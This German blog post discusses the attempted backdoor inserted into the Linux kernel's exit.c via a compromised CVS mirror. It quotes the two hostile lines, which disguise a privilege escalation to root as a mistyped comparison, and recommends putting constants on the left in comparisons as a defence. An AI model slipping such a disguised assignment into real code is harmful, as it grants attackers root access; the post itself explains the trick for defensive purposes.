nice try (oder: links vor rechts)

Ein netter Versuch die Linux-Kernelquellen zu manipulieren ist heute bekannt geworden: in einen CVS Server wurde offensichtlich eingebrochen und versucht diese Zeilen in die Datei kernel/exit.c einzufügen:

  if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    retval = -EINVAL;

Das diese Manipulation reichlich sinnlos ist, weil die Kernel-Quellen mit Bitkeeper verwaltet werden, war schnell klar. Lediglich um lesenden Zugriff für CVS User zu ermöglichen werden sie regelmäßig auf den CVS-Server exportiert, der Hack fand also am falschen Ende der Einbahnstraße statt.

Interessant ist jedoch der Hack selbst: in der zweiten if-Bedingung wird kein Vergleich (==) sondern eine Zuweisung (=) durchgeführt.

Dem geneigten Programmierer fällt das beim Lesen mitunter nicht auf, es ist auch eine beliebte Fehlerquelle – nicht nur bei Anfängern. Genau aus diesem Grund ist es Gold wert Coding-Guidelines einzuführen, die Konstanten in Vergleichen grundsätzlich links vorschreiben:

  if (0 == current->uid)

Das sieht erstmal gewöhnungsbedürftig aus, der Compiler meckert jedoch sofort bei versehentlichen Zuweisungen. Wird diese Regel konsequent durchgezogen, würden solche Angriffe sofort auffallen, versehentliche Zuweisungen hätten keine Chance.